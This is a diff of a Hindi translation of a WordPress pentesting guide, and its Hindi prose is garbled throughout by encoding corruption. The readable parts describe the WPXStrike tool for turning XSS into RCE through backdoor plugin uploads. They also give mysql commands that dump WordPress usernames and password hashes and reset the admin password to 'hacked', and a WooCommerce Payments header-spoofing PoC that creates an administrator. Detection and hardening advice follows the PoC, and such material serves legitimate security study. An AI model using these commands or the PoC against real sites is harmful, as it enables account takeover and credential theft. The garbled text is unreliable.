рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдмрд┐рдирд╛ рдЙрдЪрд┐рдд рдЕрдиреБрдорддрд┐ рдХреЗ рдЗрд╕ рдкреНрд░рдХрд╛рд░ vulnerabilities рдХрд╛ exploit рдХрд░рдирд╛ рдЕрд╡реИрдз рдФрд░ рдЕрдиреИрддрд┐рдХ рд╣реИред рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдЬрд╝рд┐рдореНрдореЗрджрд╛рд░реА рд╕реЗ рдФрд░ рдХреЗрд╡рд▓ рдХрд╛рдиреВрдиреА рд╕рдВрджрд░реНрдн рдореЗрдВ рд╣реА рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдП, рдЬреИрд╕реЗ рдХрд┐ penetration testing рдЬрдм рд╕реНрдкрд╖реНрдЯ рдЕрдиреБрдорддрд┐ рд╣реЛред +рдпрд╣ рд╕рд╛рдордЧреНрд░реА WordPress dashboard рдореЗрдВ plugin install рдФрд░ activate рдХрд░рдиреЗ рдХреЗ рдЪрд░рдгреЛрдВ рдХреЛ рджрд┐рдЦрд╛рдиреЗ рд╡рд╛рд▓реЗ visual aids рд╢рд╛рдорд┐рд▓ рдХрд░рддреА рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА vulnerabilities рдХрд╛ exploitation рдЙрдЪрд┐рдд рдЕрдиреБрдорддрд┐ рдХреЗ рдмрд┐рдирд╛ illegal рдФрд░ unethical рд╣реИред рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдЬрд┐рдореНрдореЗрджрд╛рд░реА рд╕реЗ рдФрд░ рдХреЗрд╡рд▓ рдХрд╛рдиреВрдиреА рдкрд░рд┐рдкреНрд░реЗрдХреНрд╖реНрдп рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдП, рдЬреИрд╕реЗ explicit рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде penetration testingред **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) -## From XSS to RCE +## XSS рд╕реЗ RCE рддрдХ -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реИ рдЬреЛ **Cross-Site Scripting (XSS)** vulnerability рдХреЛ **Remote Code Execution (RCE)** рдпрд╛ рдЕрдиреНрдп critical vulnerabilities рдореЗрдВ escalate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХреА рдЧрдИ рд╣реИ WordPress рдореЗрдВред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) рджреЗрдЦреЗрдВред рдпрд╣ **Wordpress Versions 6.X.X, 5.X.X and 4.X.X** рдХреЗ рд▓рд┐рдП рд╕рдкреЛрд░реНрдЯ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдпрд╣ рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ: +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ рдПрдХ script рд╣реИ рдЬрд┐рд╕реЗ **Cross-Site Scripting (XSS)** vulnerability рдХреЛ **Remote Code Execution (RCE)** рдпрд╛ WordPress рдореЗрдВ рдЕрдиреНрдп critical vulnerabilities рдореЗрдВ escalate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) рджреЗрдЦреЗрдВред рдпрд╣ **Wordpress Versions 6.X.X, 5.X.X and 4.X.X** рдХреЗ рд▓рд┐рдП support рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ: - _**Privilege Escalation:**_ WordPress рдореЗрдВ рдПрдХ user рдмрдирд╛рддрд╛ рд╣реИред -- _**(RCE) Custom Plugin (backdoor) Upload:**_ рдЕрдкрдирд╛ custom plugin (backdoor) WordPress рдкрд░ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВред -- _**(RCE) Built-In Plugin Edit:**_ WordPress рдореЗрдВ Built-In Plugins рдХреЛ edit рдХрд░реЗрдВред -- _**(RCE) Built-In Theme Edit:**_ WordPress рдореЗрдВ Built-In Themes рдХреЛ edit рдХрд░реЗрдВред +- _**(RCE) Custom Plugin (backdoor) Upload:**_ рдЕрдкрдирд╛ custom plugin (backdoor) WordPress рдкрд░ upload рдХрд░реЗрдВред +- _**(RCE) Built-In Plugin Edit:**_ WordPress рдХреЗ Built-In Plugins рдХреЛ edit рдХрд░реЗрдВред +- _**(RCE) Built-In Theme Edit:**_ WordPress рдХреЗ Built-In Themes рдХреЛ edit рдХрд░реЗрдВред - _**(Custom) Custom Exploits:**_ Third-Party WordPress Plugins/Themes рдХреЗ рд▓рд┐рдП custom exploitsред ## Post Exploitation -рдпреВрдЬрд╝рд░рдиреЗрдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдирд┐рдХрд╛рд▓реЗрдВ: +usernames рдФрд░ passwords рдирд┐рдХрд╛рд▓реЗрдВ: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` @@ -333,29 +331,29 @@ admin password рдмрджрд▓реЗрдВ: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` -## Wordpress Plugins Pentest +## Wordpress рдкреНрд▓рдЧрдЗрдиреНрд╕ Pentest -### рд╣рдорд▓реЗ рдХреА рд╕рддрд╣ +### рд╣рдорд▓рд╛ рд╕рддрд╣ -рдХрд┐рд╕ рддрд░рд╣ рдПрдХ Wordpress plugin рдлрд╝рдВрдХреНрд╢рдиреИрд▓рд┐рдЯреА рдХреЛ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдпрд╣ рдЬрд╛рдирдирд╛ рдЙрд╕рдХреА functionality рдореЗрдВ vulnerabilities рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЕрд╣рдо рд╣реИред рдЖрдк рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдмреБрд▓реЗрдЯ рдкреЙрдЗрдВрдЯреНрд╕ рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ plugin рдХрд┐рд╕ рддрд░рд╣ functionality рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдХреБрдЫ vulnerable plugins рдХреЗ рдЙрджрд╛рд╣рд░рдг [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) рдореЗрдВ рджрд┐рдП рдЧрдП рд╣реИрдВред +рдпрд╣ рдЬрд╛рдирдирд╛ рдХрд┐ рдХреЛрдИ Wordpress рдкреНрд▓рдЧрдЗрди рдЕрдкрдиреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреИрд╕реЗ рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЙрд╕рдХреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдЖрдк рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдмрд┐рдВрджреБрдУрдВ рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ рдкреНрд▓рдЧрдЗрди рдХрд┐рд╕ рддрд░рд╣ рд╕реЗ functionality рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдХреБрдЫ рдЙрджрд╛рд╣рд░рдг рдХрдордЬреЛрд░ рдкреНрд▓рдЧрдЗрдиреНрд╕ рдХреЗ рд▓рд┐рдП [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) рджреЗрдЦреЗрдВред - **`wp_ajax`** -рдПрдХ plugin рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдлрд╝рдВрдХреНрд╢рдиреНрд╕ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ AJAX handlers рдХреЗ рдЬрд░рд┐рдП рд╣реЛрддрд╛ рд╣реИред рдЗрдирдореЗрдВ рд▓реЙрдЬрд┐рдХ, authorization, рдпрд╛ authentication bugs рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЕрдХреНрд╕рд░ рдпреЗ рдлрд╝рдВрдХреНрд╢рдиреНрд╕ authentication рдФрд░ authorization рджреЛрдиреЛрдВ рдХреЛ wordpress nonce рдХреА рдореМрдЬреВрджрдЧреА рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдХрд░ рджреЗрддреЗ рд╣реИрдВ, рдЬреЛ **Wordpress instance рдореЗрдВ authenticated рдХрд┐рд╕реА рднреА user рдХреЗ рдкрд╛рд╕ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ** (рдЪрд╛рд╣реЗ рдЙрд╕рдХреА role рдХреЛрдИ рднреА рд╣реЛ)ред +рдПрдХ рддрд░реАрдХрд╛ рдЬрд┐рд╕рд╕реЗ рдХреЛрдИ рдкреНрд▓рдЧрдЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдлрдВрдХреНрд╢рдиреНрд╕ рдХреЛ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рд╡рд╣ рд╣реИ AJAX handlers рдХреЗ рдЬрд░рд┐рдПред рдЗрдирдореЗрдВ logic, authorization, рдпрд╛ authentication bugs рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЕрдХреНрд╕рд░ рдпреЗ рдлрд╝рдВрдХреНрд╢рдиреНрд╕ authentication рдФрд░ authorization рджреЛрдиреЛрдВ рдХреЛ Wordpress nonce рдХреЗ рдЕрд╕реНрддрд┐рддреНрд╡ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд░рдЦрддреА рд╣реИрдВ, рдЬреЛ **рдХрд┐рд╕реА рднреА user рдЬрд┐рд╕реЗ Wordpress instance рдореЗрдВ authenticated рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ** рдХреЗ рдкрд╛рд╕ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рдЙрд╕рдХреЗ role рдХреА рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛)ред -рдпреЗ рд╡реЗ functions рд╣реИрдВ рдЬрд┐рдирдХрд╛ рдЙрдкрдпреЛрдЧ plugin рдореЗрдВ рдХрд┐рд╕реА function рдХреЛ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: +рдпреЗ рд╡реЗ functions рд╣реИрдВ рдЬрд┐рдирдХрд╛ рдЙрдкрдпреЛрдЧ рдкреНрд▓рдЧрдЗрди рдореЗрдВ рдХрд┐рд╕реА function рдХреЛ expose рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**`nopriv`` рдХрд╛ рдЙрдкрдпреЛрдЧ endpoint рдХреЛ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (рдпрд╣рд╛рдБ рддрдХ рдХрд┐ рдЕрдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ) рджреНрд╡рд╛рд░рд╛ рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рдмрдирд╛ рджреЗрддрд╛ рд╣реИред** +**`nopriv` рдХреЗ рдЙрдкрдпреЛрдЧ рд╕реЗ endpoint рдХрд┐рд╕реА рднреА user рдХреЗ рд▓рд┐рдП accessible рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ (рдпрд╣рд╛рдБ рддрдХ рдХрд┐ рдЕрдкреНрд░рдорд╛рдгреАрдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рднреА)ред** > [!CAUTION] -> рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдлрд╝рдВрдХреНрд╢рди рдХреЗрд╡рд▓ `wp_verify_nonce` рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдХреЗрд╡рд▓ рдпрд╣ рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЙрдЧ рдЗрди рд╣реИ; рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рднреВрдорд┐рдХрд╛ рдХреА рдЬрд╛рдВрдЪ рдирд╣реАрдВ рдХрд░рддрд╛ред рдЗрд╕рд▓рд┐рдП рдХрдо-рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЙрдЪреНрдЪ-рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реА рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдкрд╣реБрдБрдЪ рдорд┐рд▓ рд╕рдХрддреА рд╣реИред +> рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдлрд╝рдВрдХреНрд╢рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреА рдЬрд╛рдБрдЪ рдХреЗрд╡рд▓ `wp_verify_nonce` рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рд╕рд┐рд░реНрдл рдпрд╣ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЙрдЧ рдЗрди рд╣реИ; рдпрд╣ рдЖрдо рддреМрд░ рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рднреВрдорд┐рдХрд╛ рдХреА рдЬрд╛рдБрдЪ рдирд╣реАрдВ рдХрд░рддрд╛ред рдЗрд╕рд▓рд┐рдП рдХрдо-рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЙрдЪреНрдЪ-рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реА рдХрд╛рд░реНрд░рд╡рд╛рдЗрдпреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдорд┐рд▓ рд╕рдХрддреА рд╣реИред - **REST API** -рдпрд╣ рднреА рд╕рдВрднрд╡ рд╣реИ рдХрд┐ wordpress рдореЗрдВ `register_rest_route` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ functions рдХреЛ expose рдХрд┐рдпрд╛ рдЬрд╛рдП: +рдпрд╣ рднреА рд╕рдВрднрд╡ рд╣реИ рдХрд┐ wordpress рд╕реЗ рдлрдВрдХреНрд╢рдиреНрд╕ рдХреЛ expose рдХрд┐рдпрд╛ рдЬрд╛рдП, `register_rest_route` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ REST API рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд░рдХреЗ: ```php register_rest_route( $this->namespace, '/get/', array( @@ -365,21 +363,21 @@ $this->namespace, '/get/', array( ) ); ``` -The `permission_callback` рдПрдХ callback рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬреЛ рдЬрд╛рдБрдЪ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рджрд┐рдпрд╛ рдЧрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ API method рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХреГрдд рд╣реИ рдпрд╛ рдирд╣реАрдВред +The `permission_callback` рдПрдХ callback рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬреЛ рдЬрд╛рдБрдЪрддрд╛ рд╣реИ рдХрд┐ рджрд┐рдпрд╛ рдЧрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ API method рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХреГрдд рд╣реИ рдпрд╛ рдирд╣реАрдВред **If the built-in `__return_true` function is used, it'll simply skip user permissions check.** -- **Direct access to the php file** +- **php рдлрд╝рд╛рдЗрд▓ рддрдХ рд╕реАрдзреЗ рдПрдХреНрд╕реЗрд╕** -рдмреЗрд╢рдХ, Wordpress PHP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ plugins рдХреЗ рдЕрдВрджрд░ рдХреА рдлрд╝рд╛рдЗрд▓реЗрдВ рд╡реЗрдм рд╕реЗ рд╕реАрдзреЗ рд╕реБрд▓рдн рд╣реЛрддреА рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдХреЛрдИ plugin рдРрд╕реА рдХреЛрдИ vulnerable functionality рдЙрдЬрд╛рдЧрд░ рдХрд░ рд░рд╣рд╛ рд╣реИ рдЬреЛ рдХреЗрд╡рд▓ рдлрд╝рд╛рдЗрд▓ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рд╕реЗ рдЯреНрд░рд┐рдЧрд░ рд╣реЛ рдЬрд╛рддреА рд╣реИ, рддреЛ рд╡рд╣ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ exploitable рд╣реЛрдЧреАред +рдмреЗрд╢рдХ, Wordpress PHP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ plugins рдХреЗ рдЕрдВрджрд░ рдХреА files рд╡реЗрдм рд╕реЗ рд╕реАрдзреЗ рдЙрдкрд▓рдмреНрдз рд╣реЛрддреА рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдХрд┐рд╕реА plugin рдореЗрдВ рдРрд╕реА рдХреЛрдИ vulnerable functionality рдПрдХреНрд╕рдкреЛрдЬрд╝ рд╣реЛ рд░рд╣реА рд╣реИ рдЬреЛ рдХреЗрд╡рд▓ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдорд╛рддреНрд░ рд╕реЗ рдЯреНрд░рд┐рдЧрд░ рд╣реЛ рдЬрд╛рддреА рд╣реИ, рддреЛ рдЙрд╕реЗ рдХреЛрдИ рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ exploit рдХрд░ рд╕рдХрддрд╛ рд╣реИред ### Trusted-header REST impersonation (WooCommerce Payments тЙд 5.6.1) -рдХреБрдЫ plugins internal integrations рдпрд╛ reverse proxies рдХреЗ рд▓рд┐рдП тАЬtrusted headerтАЭ рд╢реЙрд░реНрдЯрдХрдЯ рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рдЙрд╕ header рдХрд╛ рдЙрдкрдпреЛрдЧ REST requests рдХреЗ рд▓рд┐рдП рд╡рд░реНрддрдорд╛рди user context рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддреЗ рд╣реИрдВред рдпрджрд┐ рд╡рд╣ header рдХрд┐рд╕реА upstream component рджреНрд╡рд╛рд░рд╛ cryptographically request рдХреЗ рд╕рд╛рде bound рдирд╣реАрдВ рд╣реИ, рддреЛ рдПрдХ attacker рдЙрд╕реЗ spoof рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ privileged REST routes рдХреЛ administrator рдХреЗ рд░реВрдк рдореЗрдВ рд╣рд┐рдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред +рдХреБрдЫ plugins internal integrations рдпрд╛ reverse proxies рдХреЗ рд▓рд┐рдП тАЬtrusted headerтАЭ рд╢реЙрд░реНрдЯрдХрдЯ рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рдЙрд╕ header рдХрд╛ рдЙрдкрдпреЛрдЧ REST requests рдХреЗ рд▓рд┐рдП рд╡рд░реНрддрдорд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ context рд╕реЗрдЯ рдХрд░рдиреЗ рд╣реЗрддреБ рдХрд░рддреЗ рд╣реИрдВред рдпрджрд┐ рд╡рд╣ header рдХрд┐рд╕реА upstream component рджреНрд╡рд╛рд░рд╛ cryptographically request рд╕реЗ рдмрд╛рдЙрдВрдб рдирд╣реАрдВ рд╣реИ, рддреЛ рдПрдХ attacker рдЙрд╕реЗ spoof рдХрд░рдХреЗ privileged REST routes рдХреЛ administrator рдХреЗ рд░реВрдк рдореЗрдВ рд╣рд┐рдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред -- Impact: core users REST route рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдирдпрд╛ administrator рдмрдирд╛рдХрд░ unauthenticated privilege escalation to adminред -- Example header: `X-Wcpay-Platform-Checkout-User: 1` (user ID 1 рдХреЛ рдордЬрдмреВрд░ рдХрд░рддрд╛ рд╣реИ тАФ рдЖрдо рддреМрд░ рдкрд░ рдкрд╣рд▓рд╛ administrator account)ред -- Exploited route: `POST /wp-json/wp/v2/users` рдПрдХ elevated role array рдХреЗ рд╕рд╛рдеред +- рдкреНрд░рднрд╛рд╡: рдЕрдирдСрдереЗрдиреНрдЯрд┐рдХреЗрдЯреЗрдб privilege escalation to admin тАФ core users REST route рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирдпрд╛ administrator рдмрдирд╛рдХрд░ред +- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account). +- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array. PoC ```http @@ -395,38 +393,38 @@ Content-Length: 114 ``` Why it works -- рдкреНрд▓рдЧрдЗрди рдПрдХ рдХреНрд▓рд╛рдЗрдВрдЯ-рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реЗрдбрд░ рдХреЛ рдкреНрд░рдорд╛рдгреАрдХреГрдд рд╕реНрдерд┐рддрд┐ рд╕реЗ рдореИрдк рдХрд░рддрд╛ рд╣реИ рдФрд░ capability checks рдХреЛ рд╕реНрдХрд┐рдк рдХрд░ рджреЗрддрд╛ рд╣реИред -- WordPress core рдЗрд╕ route рдХреЗ рд▓рд┐рдП `create_users` capability рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИ; рдкреНрд▓рдЧрдЗрди hack рдЗрд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИ, рд╣реЗрдбрд░ рд╕реЗ рд╕реАрдзреЗ рд╡рд░реНрддрдорд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рдВрджрд░реНрдн рд╕реЗрдЯ рдХрд░рдХреЗред +- рдкреНрд▓рдЧрдЗрди рдХреНрд▓рд╛рдЗрдВрдЯ-рдирд┐рдпрдВрддреНрд░рд┐рдд header рдХреЛ authentication state рд╕реЗ рдореИрдк рдХрд░рддрд╛ рд╣реИ рдФрд░ capability checks рдХреЛ рдЫреЛрдбрд╝ рджреЗрддрд╛ рд╣реИред +- WordPress core рдЗрд╕ route рдХреЗ рд▓рд┐рдП `create_users` capability рдХреА рдЙрдореНрдореАрдж рдХрд░рддрд╛ рд╣реИ; рдкреНрд▓рдЧрдЗрди рдХрд╛ hack рдЗрд╕реЗ bypass рдХрд░ рджреЗрддрд╛ рд╣реИ тАФ рд╕реАрдзреЗ header рд╕реЗ current user context рд╕реЗрдЯ рдХрд░рдХреЗред Expected success indicators -- HTTP 201, рдПрдХ JSON рдмреЙрдбреА рдХреЗ рд╕рд╛рде рдЬреЛ рдмрдирд╛рдП рдЧрдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рд╡рд┐рд╡рд░рдг рджреЗрддреА рд╣реИред -- рдПрдХ рдирдпрд╛ admin рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ `wp-admin/users.php` рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛ред +- HTTP 201 with a JSON body describing the created user. +- A new admin user visible in `wp-admin/users.php`. Detection checklist -- `getallheaders()`, `$_SERVER['HTTP_...']`, рдпрд╛ рдЙрди vendor SDKs рдХреЗ рд▓рд┐рдП grep рдХрд░реЗрдВ рдЬреЛ рдХрд╕реНрдЯрдо рд╣реЗрдбрд░ рдкрдврд╝рдХрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рдВрджрд░реНрдн рд╕реЗрдЯ рдХрд░рддреЗ рд╣реИрдВ (рдЙрджрд╛., `wp_set_current_user()`, `wp_set_auth_cookie()`). -- рдЙрди REST registrations рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░реЗрдВ рдЬрд╣рд╛рдБ privileged callbacks рдХреЗ рдкрд╛рд╕ рдордЬрдмреВрдд `permission_callback` рдЪреЗрдХреНрд╕ рдирд╣реАрдВ рд╣реИрдВ рдФрд░ рд╡реЗ рдЕрдиреБрд░реЛрдз рд╣реЗрдбрд░реЛрдВ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреЗ рд╣реИрдВред -- REST handlers рдХреЗ рдЕрдВрджрд░ core user-management functions (`wp_insert_user`, `wp_create_user`) рдХреЗ рдЙрдкрдпреЛрдЧ рдЦреЛрдЬреЗрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдХреЗрд╡рд▓ рд╣реЗрдбрд░ рдорд╛рдиреЛрдВ рджреНрд╡рд╛рд░рд╛ gated рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +- Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`). +- Review REST registrations for privileged callbacks that lack robust `permission_callback` checks and instead rely on request headers. +- Look for usages of core user-management functions (`wp_insert_user`, `wp_create_user`) inside REST handlers that are gated only by header values. Hardening -- рдХрднреА рднреА рдХреНрд▓рд╛рдЗрдВрдЯ-рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реЗрдбрд░реЛрдВ рд╕реЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдпрд╛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рди рдирд┐рдХрд╛рд▓реЗред -- рдпрджрд┐ рдПрдХ reverse proxy рдХреЛ identity рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреА рд╣реА рд╣реИ, рддреЛ proxy рдкрд░ рдЯреНрд░рд╕реНрдЯ рд╕рдорд╛рдкреНрдд рдХрд░реЗрдВ рдФрд░ рдЗрдирдмрд╛рдЙрдВрдб рдХреЙрдкрд┐рдпрд╛рдБ рд╣рдЯрд╛ рджреЗрдВ (рдЙрджрд╛., `unset X-Wcpay-Platform-Checkout-User` at the 